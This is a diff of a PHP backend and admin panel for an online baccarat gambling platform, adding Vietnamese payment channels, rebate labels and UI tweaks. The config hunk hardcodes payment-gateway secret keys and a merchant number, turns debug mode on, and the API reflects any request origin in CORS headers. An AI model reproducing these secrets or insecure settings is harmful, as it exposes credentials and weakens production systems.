if($timeLength == 1 || $timeLength == 2){ if($timeLength == 1 || $timeLength == 2){
if($timeLength == 1){ if($timeLength == 1){
//上周时间 //上周时间
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-date("w")+1-7,date("Y"))); $weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-(date("w")?:7)+1-7,date("Y")));
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-date("w")+7-7,date("Y"))); $weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-(date("w")?:7)+7-7,date("Y")));
}elseif($timeLength == 2){ }elseif($timeLength == 2){
//本周时间 //本周时间
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-date("w")+1,date("Y"))); $weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-(date("w")?:7)+1,date("Y")));
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y"))); $weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-(date("w")?:7)+7,date("Y")));
} }
$startTime = strtotime($weekStart); $startTime = strtotime($weekStart);
$endTime = strtotime($weekEnd); $endTime = strtotime($weekEnd);
@@ -474,12 +474,12 @@ class Settle Extends Common{
if($timeLength == 1 || $timeLength == 2){ if($timeLength == 1 || $timeLength == 2){
if($timeLength == 1){ if($timeLength == 1){
//上周时间 //上周时间
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-date("w")+1-7,date("Y"))); $weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-(date("w")?:7)+1-7,date("Y")));
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-date("w")+7-7,date("Y"))); $weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-(date("w")?:7)+7-7,date("Y")));
}elseif($timeLength == 2){ }elseif($timeLength == 2){
//本周时间 //本周时间
$weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-date("w")+1,date("Y"))); $weekStart = date("Y-m-d H:i:s",mktime(0, 0 , 0,date("m"),date("d")-(date("w")?:7)+1,date("Y")));
$weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-date("w")+7,date("Y"))); $weekEnd = date("Y-m-d H:i:s",mktime(23,59,59,date("m"),date("d")-(date("w")?:7)+7,date("Y")));
} }
$startTime = strtotime($weekStart); $startTime = strtotime($weekStart);
$endTime = strtotime($weekEnd); $endTime = strtotime($weekEnd);
Regular → Executable
+1 -1
View File
@@ -301,7 +301,7 @@ return [
'betting_money' => 'Bet money', 'betting_money' => 'Bet money',
'code_washing_amount' => 'Code washing amount', 'code_washing_amount' => 'Code washing amount',
'odd_code_fee' => 'Odd code fee', 'odd_code_fee' => 'Odd code fee',
'code_amount' => 'Code amount', 'code_amount' => 'Rebate',
'settled_code_amount' => 'Settled code amount', 'settled_code_amount' => 'Settled code amount',
'unsettled_code_amount' => 'Unsettled code amount', 'unsettled_code_amount' => 'Unsettled code amount',
'unsettled_rebate_amount' => 'Unsettled rebate amount', 'unsettled_rebate_amount' => 'Unsettled rebate amount',
Regular → Executable
+1 -1
View File
@@ -301,7 +301,7 @@ return [
'betting_money' => '下注金额', 'betting_money' => '下注金额',
'code_washing_amount' => '洗码量', 'code_washing_amount' => '洗码量',
'odd_code_fee' => '注单码费', 'odd_code_fee' => '注单码费',
'code_amount' => '码', 'code_amount' => '码',
'settled_code_amount' => '已结码量', 'settled_code_amount' => '已结码量',
'unsettled_code_amount' => '未结码量', 'unsettled_code_amount' => '未结码量',
'unsettled_rebate_amount' => '未结返水', 'unsettled_rebate_amount' => '未结返水',
Regular → Executable
+1 -1
View File
@@ -301,7 +301,7 @@ return [
'betting_money' => '下注金額', 'betting_money' => '下注金額',
'code_washing_amount' => '洗碼量', 'code_washing_amount' => '洗碼量',
'odd_code_fee' => '注單碼費', 'odd_code_fee' => '注單碼費',
'code_amount' => '碼', 'code_amount' => '碼',
'settled_code_amount' => '已結碼量', 'settled_code_amount' => '已結碼量',
'unsettled_code_amount' => '未結碼量', 'unsettled_code_amount' => '未結碼量',
'unsettled_rebate_amount' => '未結返水', 'unsettled_rebate_amount' => '未結返水',
Binary file not shown.
View File
+36 -1
View File
@@ -269,7 +269,12 @@
dataType: 'JSON', dataType: 'JSON',
success: function (data) { success: function (data) {
if (data.code == 0) { if (data.code == 0) {
layer.msg(data.msg); // 校验未通过:用必须点确认的弹窗代替一闪而过的 toast,确保操作员看清失败原因
// (如返水率/码率/占股超过上级上限时,后端会返回具体上限值)
layer.alert(data.msg, {
title: lang.message,
icon: 0
});
} else if (data.code == 1) { } else if (data.code == 1) {
layer.alert(data.msg,{ layer.alert(data.msg,{
title:lang.message, title:lang.message,
@@ -277,6 +282,36 @@
x_admin_close(); x_admin_close();
parent.location.reload(); parent.location.reload();
}); });
} else if (data.code == 2) {
// 时序风险:下级有未结算注单,二次确认后带 confirm_pending 重新提交
layer.confirm(data.msg, {
title: lang.message,
btn: ['确定保存', '取消']
}, function (idx) {
layer.close(idx);
query.confirm_pending = 1;
$.ajax({
url: '/agent/do_edit',
data: query,
type: 'POST',
dataType: 'JSON',
success: function (d) {
if (d.code == 0) {
layer.alert(d.msg, {
title: lang.message,
icon: 0
});
} else if (d.code == 1) {
layer.alert(d.msg, {
title: lang.message
}, function () {
x_admin_close();
parent.location.reload();
});
}
}
});
});
} }
} }
}) })
View File
-2
View File
@@ -644,13 +644,11 @@
//query.mobile = $('#mobile').val(); //query.mobile = $('#mobile').val();
//query.bet_type = $('#bet_type').val(); //query.bet_type = $('#bet_type').val();
query.win_limit = $('#win_limit').val(); query.win_limit = $('#win_limit').val();
/*
query.agent_commission = $('#agent_commission').val(); query.agent_commission = $('#agent_commission').val();
query.agent_commission_dt = $('#agent_commission_dt').val(); query.agent_commission_dt = $('#agent_commission_dt').val();
query.agent_commission_nn = $('#agent_commission_nn').val(); query.agent_commission_nn = $('#agent_commission_nn').val();
query.agent_commission_tc = $('#agent_commission_tc').val(); query.agent_commission_tc = $('#agent_commission_tc').val();
query.agent_commission_tc_banker = $('#agent_commission_tc_banker').val(); query.agent_commission_tc_banker = $('#agent_commission_tc_banker').val();
*/
query.limit_low = $('#limit_low').val(); query.limit_low = $('#limit_low').val();
query.limit_high = $('#limit_high').val(); query.limit_high = $('#limit_high').val();
query.limit_low_tie = $('#limit_low_tie').val(); query.limit_low_tie = $('#limit_low_tie').val();
+8 -22
View File
@@ -180,31 +180,17 @@
}else{ }else{
dateLang = 'cn'; dateLang = 'cn';
} }
// 计算默认时间:今天07:00:00 ~ 明天06:59:59
var now = new Date();
var y = now.getFullYear();
var m = ('0' + (now.getMonth() + 1)).slice(-2);
var d = ('0' + now.getDate()).slice(-2);
var tomorrow = new Date(now.getTime() + 86400000);
var ty = tomorrow.getFullYear();
var tm = ('0' + (tomorrow.getMonth() + 1)).slice(-2);
var td = ('0' + tomorrow.getDate()).slice(-2);
var defaultStart = y + '-' + m + '-' + d + ' 07:00:00';
var defaultEnd = ty + '-' + tm + '-' + td + ' 06:59:59';
//执行一个laydate实例 //执行一个laydate实例
laydate.render({ laydate.render({
elem: '#start' elem: '#start' //指定元素
,type:'datetime', ,type:'datetime',
lang: dateLang, lang: dateLang
value: defaultStart
}); });
//执行一个laydate实例 //执行一个laydate实例
laydate.render({ laydate.render({
elem: '#end' elem: '#end' //指定元素
,type:'datetime', ,type:'datetime',
lang: dateLang, lang: dateLang
value: defaultEnd
}); });
}); });
@@ -306,11 +292,11 @@
break; break;
} }
if(format == 1){ if(format == 1){
startDate = startYear + '-' + startMonth + '-' + startDay + ' 07:00:00'; startDate = startYear + '-' + startMonth + '-' + startDay + ' 00:00:00';
endDate = endYear + '-' + endMonth + '-' + endDay + ' 06:59:59'; endDate = endYear + '-' + endMonth + '-' + endDay + ' 23:59:59';
}else{ }else{
startDate = startDay + ' 07:00:00'; startDate = startDay + ' 00:00:00';
endDate = endDay + ' 06:59:59'; endDate = endDay + ' 23:59:59';
} }
query.startDate = startDate; query.startDate = startDate;
+38 -7
View File
@@ -77,7 +77,10 @@
<div class="gap"> <div class="gap">
<button class="layui-btn search-btn" id="search" onclick="showShadow()">{$lang['search']}</button> <button class="layui-btn search-btn" id="search" onclick="showShadow()">{$lang['search']}</button>
<a class="layui-btn search-btn" onclick="showShadow()" href="javascript:location.replace(location.href);">{$lang['refresh']}</a> <a class="layui-btn search-btn" onclick="showShadow()" href="javascript:location.replace(location.href);">{$lang['refresh']}</a>
<button class="layui-btn search-btn countDown">5</button> <label style="margin-left:6px;line-height:38px;cursor:pointer;font-weight:normal;vertical-align:middle;">
<input type="checkbox" id="autoRefresh" style="vertical-align:middle;"> 自动刷新
</label>
<button type="button" class="layui-btn search-btn countDown" style="display:none;">10</button>
</div> </div>
</div> </div>
</form> </form>
@@ -187,17 +190,45 @@
$(function(){ $(function(){
var online = $('#online').val(); var online = $('#online').val();
var refreshUrl = $('#refreshUrl').val(); var refreshUrl = $('#refreshUrl').val();
var countDown = 10; var INTERVAL = 10; // 自动刷新间隔(秒)
if(online == 1){ var countDown = INTERVAL;
$('.countDown').show(); var autoTimer = null;
setInterval(function(){
function startAuto(reloadFn){
countDown = INTERVAL;
$('.countDown').show().html(countDown);
autoTimer = setInterval(function(){
countDown = countDown - 1; countDown = countDown - 1;
$('.countDown').html(countDown); $('.countDown').html(countDown);
if(countDown == 0){ if(countDown <= 0){
location.href = refreshUrl; reloadFn();
} }
}, 1000); }, 1000);
} }
function stopAuto(){
if(autoTimer){ clearInterval(autoTimer); autoTimer = null; }
$('.countDown').hide();
}
if(online == 1){
// 从“在线管理”进入:保持原有自动刷新行为
startAuto(function(){ location.href = refreshUrl; });
}else{
// 注单查询:可开关的今日实时自动刷新(默认开,刷新当前查询条件)
var saved = localStorage.getItem('bet_auto_refresh');
var enabled = (saved === null) ? true : (saved === '1');
$('#autoRefresh').prop('checked', enabled);
if(enabled){ startAuto(function(){ location.replace(location.href); }); }
$('#autoRefresh').on('change', function(){
if($(this).is(':checked')){
localStorage.setItem('bet_auto_refresh','1');
startAuto(function(){ location.replace(location.href); });
}else{
localStorage.setItem('bet_auto_refresh','0');
stopAuto();
}
});
}
}) })
layui.use('laydate', function () { layui.use('laydate', function () {
+41 -1
View File
@@ -17,7 +17,7 @@ return [
// 应用命名空间 // 应用命名空间
'app_namespace' => 'app', 'app_namespace' => 'app',
// 应用调试模式 // 应用调试模式
'app_debug' => false, 'app_debug' => true,
// 应用Trace // 应用Trace
'app_trace' => false, 'app_trace' => false,
// 应用模式状态 // 应用模式状态
@@ -281,6 +281,13 @@ return [
'default_wt_agent' => 566, 'default_wt_agent' => 566,
'limit_agent' => [87, 1371], 'limit_agent' => [87, 1371],
], ],
'3' => [
'name' => '越南',
'pay' => 'alinPay',
'default_agent' => 111,
'default_wt_agent' => 111,
'limit_agent' => [],
],
], ],
'limit_list' => [ 'limit_list' => [
@@ -343,5 +350,38 @@ return [
'1' => '在線繳費' '1' => '在線繳費'
] ]
], ],
'alinPay' => [//越南AlinPay
'online_order_fac' => 'alin_online_order',//越南
'notify_url' => 'https://api.g7g7.top/order/alin_recharge_callback',//代收回调地址
'payment_notify_url' => 'https://api.g7g7.top/crypto/alin_payment_callback',//代付回调地址
'callback_url' => '',
'type' => [
'11' => '越南代收'
]
],
'epay' => [//彩虹易支付(USDT/支付宝/微信 聚合)
'online_order_fac' => 'epay_online_order',
'notify_url' => 'https://api.g7g7.top/order/epay_recharge_callback',// 异步回调
'callback_url' => 'https://api.g7g7.top/order/epay_return',// 同步跳转回业务
'api_url' => 'https://pay.g7g7.top',
'pid' => '1000',
'key' => 'bf7b83653f5c056a6103e26263a75fa1',
'goods_name' => '账户充值',
'type' => [
'usdt' => 'USDT支付',
// 'alipay' => '支付宝',
// 'wxpay' => '微信支付',
]
],
'ccpay' => [//CCmerchant越南银行代收
'online_order_fac' => 'ccpay_online_order',
'notify_url' => 'https://api.g7g7.top/order/ccpay_recharge_callback',
'callback_url' => '',
'api_url' => 'https://c.gmobvfxllc.com/gateway/api/trade',
'mch_no' => 'M8822026041910000352',
'pay_secret' => '820281b0d0b24a6bb701d8fc1c31a197',
'timeout' => 600,
'type' => ['pay' => 'CCpay越南银行'],
],
] ]
]; ];
+1 -1
View File
@@ -245,7 +245,7 @@ class Index Extends Common{
// 验证靴ID // 验证靴ID
if($boot_id > 0){ if($boot_id > 0){
$ns = Db::name($numberTabTable)->where(array('game_id' => $game_id, 'boot_id' => $boot_id, 'bet_status' => 3))->field('result,pair')->order('start_time ASC,id ASC')->select(); $ns = Db::name($numberTabTable)->where(array('game_id' => $game_id, 'boot_id' => $boot_id, 'bet_status' => 3))->field('result,pair,luck_six,dragon_seven,panda_eight')->order('start_time ASC,id ASC')->select();
if($forecast == 1){ if($forecast == 1){
// 庄问路 // 庄问路
$ns[] = array('result'=>1,'pair'=>0); $ns[] = array('result'=>1,'pair'=>0);
+1 -1
View File
@@ -275,7 +275,7 @@ function waybill($ns){
$showRoadLocation = array(); $showRoadLocation = array();
foreach($showRoad as $k => $v){ foreach($showRoad as $k => $v){
foreach($v as $key => $val){ foreach($v as $key => $val){
$pushData = array('show_x' => $k + 1, 'show_y' =>$key + 1, 'result' => $val['result'], 'pair' => $val['pair']); $pushData = array('show_x' => $k + 1, 'show_y' =>$key + 1, 'result' => $val['result'], 'pair' => $val['pair'], 'luck_six' => $val['luck_six'] ?? 0, 'dragon_seven' => $val['dragon_seven'] ?? 0, 'panda_eight' => $val['panda_eight'] ?? 0);
array_push($showRoadLocation,$pushData); array_push($showRoadLocation,$pushData);
} }
} }
BIN
View File
Binary file not shown.
View File
Binary file not shown.
@@ -2,6 +2,7 @@
namespace app\onlinechip\controller; namespace app\onlinechip\controller;
use pay\Ybf; use pay\Ybf;
use pay\AlinPay;
use think\Cache; use think\Cache;
use \think\Controller; use \think\Controller;
use think\Db; use think\Db;
@@ -230,6 +231,90 @@ class Crypto Extends Controller{
return $sign == $data['sign']; return $sign == $data['sign'];
} }
/**
* AlinPay 越南代付回调
*/
public function alin_payment_callback()
{
$post = Request::instance()->post();
$json = json_encode($post, JSON_UNESCAPED_UNICODE);
addLogToFile('越南代付回调原始数据:' . $json, 'alin_callback', 'alin');
if (!is_array($post) || empty($post['out_trade_no']) || empty($post['sign'])) {
exit('fail');
}
// 记录回调日志
$logId = Db::name('pay_callback_log')->insertGetId([
'pay_channel' => 'ALIN_PAYMENT',
'type' => 'payment',
'json' => $json,
'create_time' => date('Y-m-d H:i:s'),
]);
try {
$alinPay = new AlinPay();
$res = $alinPay->paymentCallback($post, $logId);
exit($res ?: 'fail');
} catch (\Exception $e) {
addLogToFile('越南代付回调异常:' . $e->getMessage(), 'alin_callback_error', 'alin');
exit('fail');
}
}
/**
* AlinPay 越南代收查询
*/
public function alin_query_order()
{
$orderNo = Request::instance()->post('order_no');
if (!$orderNo) {
return json(['code' => 0, 'msg' => '缺少订单号']);
}
try {
$alinPay = new AlinPay();
$result = $alinPay->queryOrder($orderNo);
return json($result);
} catch (\Exception $e) {
return json(['code' => 0, 'msg' => $e->getMessage()]);
}
}
/**
* AlinPay 越南代付查询
*/
public function alin_query_payment()
{
$orderNo = Request::instance()->post('order_no');
if (!$orderNo) {
return json(['code' => 0, 'msg' => '缺少订单号']);
}
try {
$alinPay = new AlinPay();
$result = $alinPay->queryPayment($orderNo);
return json($result);
} catch (\Exception $e) {
return json(['code' => 0, 'msg' => $e->getMessage()]);
}
}
/**
* AlinPay 账户余额查询
*/
public function alin_query_account()
{
try {
$alinPay = new AlinPay();
$result = $alinPay->queryAccount();
return json($result);
} catch (\Exception $e) {
return json(['code' => 0, 'msg' => $e->getMessage()]);
}
}
/** /**
* 记录日志 * 记录日志
* @param $type * @param $type
+42 -8
View File
@@ -13,6 +13,9 @@ class Order Extends Controller{
use traits\tingPay; use traits\tingPay;
use traits\happyPay; use traits\happyPay;
use traits\hengfuPay; use traits\hengfuPay;
use traits\alinPay;
use traits\epayPay;
use traits\ccpayPay;
public function __construct() public function __construct()
{ {
@@ -33,8 +36,21 @@ class Order Extends Controller{
} }
$pay_method = $area_list[$user['area_id']]['pay']; $pay_method = $area_list[$user['area_id']]['pay'];
if($user && $user['api_token'] == $api_token){ if($user && $user['api_token'] == $api_token){
$payMethod = $pay_list[$pay_method]['type'];
$pay_routes = [];
foreach($payMethod as $k => $v){
$pay_routes[$k] = $pay_list[$pay_method]['online_order_fac'];
}
// 越南地区追加 USDT (Epay)
if($user['area_id'] == 3 && !empty($pay_list['epay']['type'])){
foreach($pay_list['epay']['type'] as $k => $v){
$payMethod[$k] = $v;
$pay_routes[$k] = $pay_list['epay']['online_order_fac'];
}
}
$this->assign('online_order_fac', $pay_list[$pay_method]['online_order_fac']); $this->assign('online_order_fac', $pay_list[$pay_method]['online_order_fac']);
$this->assign('payMethod',$pay_list[$pay_method]['type']); $this->assign('payMethod', $payMethod);
$this->assign('pay_routes', $pay_routes);
$this->assign('client', 1); $this->assign('client', 1);
$this->assign('user_info', $user); $this->assign('user_info', $user);
return $this->fetch(); return $this->fetch();
@@ -54,8 +70,24 @@ class Order Extends Controller{
} }
$pay_method = $area_list[$user['area_id']]['pay']; $pay_method = $area_list[$user['area_id']]['pay'];
if($user && $user['api_token'] == $api_token){ if($user && $user['api_token'] == $api_token){
$this->assign('online_order_fac',$pay_list[$pay_method]['online_order_fac']); // 主通道(按 area_list 的 pay 配置)
$this->assign('payMethod',$pay_list[$pay_method]['type']); $payMethod = $pay_list[$pay_method]['type'];
$pay_routes = [];
foreach($payMethod as $k => $v){
$pay_routes[$k] = $pay_list[$pay_method]['online_order_fac'];
}
// 越南地区追加 USDT (Epay) 通道作为第二选项
if($user['area_id'] == 3 && !empty($pay_list['epay']['type'])){
foreach($pay_list['epay']['type'] as $k => $v){
$payMethod[$k] = $v;
$pay_routes[$k] = $pay_list['epay']['online_order_fac'];
}
}
$this->assign('online_order_fac', $pay_list[$pay_method]['online_order_fac']); // 兼容旧模板
$this->assign('payMethod', $payMethod);
$this->assign('pay_routes', $pay_routes);
$this->assign('client', 2); $this->assign('client', 2);
$this->assign('user_info', $user); $this->assign('user_info', $user);
return $this->fetch(); return $this->fetch();
@@ -82,8 +114,9 @@ class Order Extends Controller{
$zdlIdArr = explode(',',$user['agent_parent_id_path']); $zdlIdArr = explode(',',$user['agent_parent_id_path']);
$area_list = config('area_list'); $area_list = config('area_list');
//判断是否金流支线,如果不是的话,不允许充值 //判断是否金流支线,如果不是的话,不允许充值
$isAllow = false; $limitAgents = $area_list[$user['area_id']]['limit_agent'];
foreach($area_list[$user['area_id']]['limit_agent'] as $allowAgentId){ $isAllow = empty($limitAgents);
foreach($limitAgents as $allowAgentId){
if(in_array($allowAgentId,$zdlIdArr)){ if(in_array($allowAgentId,$zdlIdArr)){
$isAllow = true; $isAllow = true;
} }
@@ -152,9 +185,10 @@ class Order Extends Controller{
$user = Db::name('user')->where(array('id' => $user_id))->find(); $user = Db::name('user')->where(array('id' => $user_id))->find();
$zdlIdArr = explode(',',$user['agent_parent_id_path']); $zdlIdArr = explode(',',$user['agent_parent_id_path']);
$area_list = config('area_list'); $area_list = config('area_list');
//判断是否金流支线,如果不是的话,不允许充值 //判断是否金流支线,如果不是的话,不允许提现
$isAllow = false; $limitAgents = $area_list[$user['area_id']]['limit_agent'];
foreach($area_list[$user['area_id']]['limit_agent'] as $allowAgentId){ $isAllow = empty($limitAgents);
foreach($limitAgents as $allowAgentId){
if(in_array($allowAgentId,$zdlIdArr)){ if(in_array($allowAgentId,$zdlIdArr)){
$isAllow = true; $isAllow = true;
} }
+140 -131
View File
@@ -16,8 +16,23 @@ use Waybill\WaybillToning;
use Waybill\WaybillRoulette; use Waybill\WaybillRoulette;
class Pcapi extends Controller{ class Pcapi extends Controller{
use traits\alinPay;
use traits\epayPay;
use traits\ccpayPay;
public function __construct(){ public function __construct(){
parent::__construct(); parent::__construct();
// CORS headers
$origin = Request::instance()->header('origin');
if($origin){
header('Access-Control-Allow-Origin: '.$origin);
} else {
header('Access-Control-Allow-Origin: *');
}
header('Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization');
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE,OPTIONS');
if(Request::instance()->isOptions()){
exit();
}
$actionName = Request::instance()->action(); $actionName = Request::instance()->action();
if(in_array($actionName,['doregister'])){ if(in_array($actionName,['doregister'])){
if(Session::has('is_post') && Session::get($actionName.'_is_post') == 0){ if(Session::has('is_post') && Session::get($actionName.'_is_post') == 0){
@@ -35,9 +50,6 @@ class Pcapi extends Controller{
} }
public function get_version(){ public function get_version(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
return json(config('app_version')); return json(config('app_version'));
} }
public function get_system_info(){ public function get_system_info(){
@@ -51,9 +63,6 @@ class Pcapi extends Controller{
} }
//试玩登录 //试玩登录
public function demologin(){ public function demologin(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -106,9 +115,6 @@ class Pcapi extends Controller{
//保持在线--心跳 //保持在线--心跳
public function keepOnline(){ public function keepOnline(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -132,9 +138,6 @@ class Pcapi extends Controller{
} }
//登录optimum //登录optimum
public function login(){ public function login(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -194,7 +197,7 @@ class Pcapi extends Controller{
$find['pay_channel'] = ''; $find['pay_channel'] = '';
$find['pay_channel_currency'] = []; $find['pay_channel_currency'] = [];
$find['pay_channel_coin_chain'] = []; $find['pay_channel_coin_chain'] = [];
if($topAgent['agent_type'] == 1){ if($topAgent['pay_channel'] && $topAgent['pay_channel'] != 'OPR'){
// 现金线走支付渠道 // 现金线走支付渠道
$find['pay_channel'] = $topAgent['pay_channel']; $find['pay_channel'] = $topAgent['pay_channel'];
$find['pay_channel_currency'] = []; $find['pay_channel_currency'] = [];
@@ -208,7 +211,7 @@ class Pcapi extends Controller{
$find['pay_channel_coin_chain'] = json_decode($payChannelInfo['coin_chain'],true); $find['pay_channel_coin_chain'] = json_decode($payChannelInfo['coin_chain'],true);
} }
} }
} elseif ($topAgent['agent_type'] == 2 && $topAgent['pay_channel'] == 'OPR') { // 人工转帐上分,前端显示充值信息 } elseif ($topAgent['pay_channel'] == 'OPR') { // 人工转帐上分,前端显示充值信息(不依赖 agent_type,只看 pay_channel)
$find['pay_channel'] = $topAgent['pay_channel']; $find['pay_channel'] = $topAgent['pay_channel'];
$find['pay_channel_address'] = $topAgent['pay_channel_address']; $find['pay_channel_address'] = $topAgent['pay_channel_address'];
} }
@@ -240,9 +243,6 @@ class Pcapi extends Controller{
} }
// 获取用户信息 // 获取用户信息
public function get_user_info(){ public function get_user_info(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -270,7 +270,7 @@ class Pcapi extends Controller{
$find['pay_channel'] = ''; $find['pay_channel'] = '';
$find['pay_channel_currency'] = []; $find['pay_channel_currency'] = [];
$find['pay_channel_coin_chain'] = []; $find['pay_channel_coin_chain'] = [];
if($topAgent['agent_type'] == 1){ if($topAgent['pay_channel'] && $topAgent['pay_channel'] != 'OPR'){
// 现金线走支付渠道 // 现金线走支付渠道
$find['pay_channel'] = $topAgent['pay_channel']; $find['pay_channel'] = $topAgent['pay_channel'];
$find['pay_channel_currency'] = []; $find['pay_channel_currency'] = [];
@@ -284,6 +284,9 @@ class Pcapi extends Controller{
$find['pay_channel_coin_chain'] = json_decode($payChannelInfo['coin_chain'],true); $find['pay_channel_coin_chain'] = json_decode($payChannelInfo['coin_chain'],true);
} }
} }
} elseif($topAgent['pay_channel'] == 'OPR'){ // 人工转帐上分:与 login 保持一致下发收款信息(此前 get_user_info 缺失,刷新会丢)
$find['pay_channel'] = 'OPR';
$find['pay_channel_address'] = $topAgent['pay_channel_address'];
} }
$find['manager'] = []; $find['manager'] = [];
if($find['bet_type'] == 2){ if($find['bet_type'] == 2){
@@ -309,9 +312,6 @@ class Pcapi extends Controller{
} }
//用户钱 //用户钱
public function user_money(){ public function user_money(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -335,9 +335,6 @@ class Pcapi extends Controller{
} }
//修改密码 //修改密码
public function update_password(){ public function update_password(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -375,9 +372,6 @@ class Pcapi extends Controller{
} }
//打赏 //打赏
public function to_tip(){ public function to_tip(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -421,9 +415,6 @@ class Pcapi extends Controller{
} }
//好路 //好路
public function good_road(){ public function good_road(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -459,9 +450,6 @@ class Pcapi extends Controller{
} }
//返回全部桌子 //返回全部桌子
public function all_table(){ public function all_table(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -1204,9 +1192,6 @@ class Pcapi extends Controller{
} }
//返回单张桌子 //返回单张桌子
public function singletable(){ public function singletable(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
// $json_arr = Request::instance()->post(); // $json_arr = Request::instance()->post();
@@ -1755,9 +1740,6 @@ class Pcapi extends Controller{
} }
//今日最佳 //今日最佳
public function optimum(){ public function optimum(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -1783,9 +1765,6 @@ class Pcapi extends Controller{
} }
//游戏记录 //游戏记录
public function get_user_bets(){ public function get_user_bets(){
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
if(Request::instance()->isPost()){ if(Request::instance()->isPost()){
$json_arr = decrypt_data(Request::instance()->post()); $json_arr = decrypt_data(Request::instance()->post());
if($json_arr){ if($json_arr){
@@ -1814,8 +1793,8 @@ class Pcapi extends Controller{
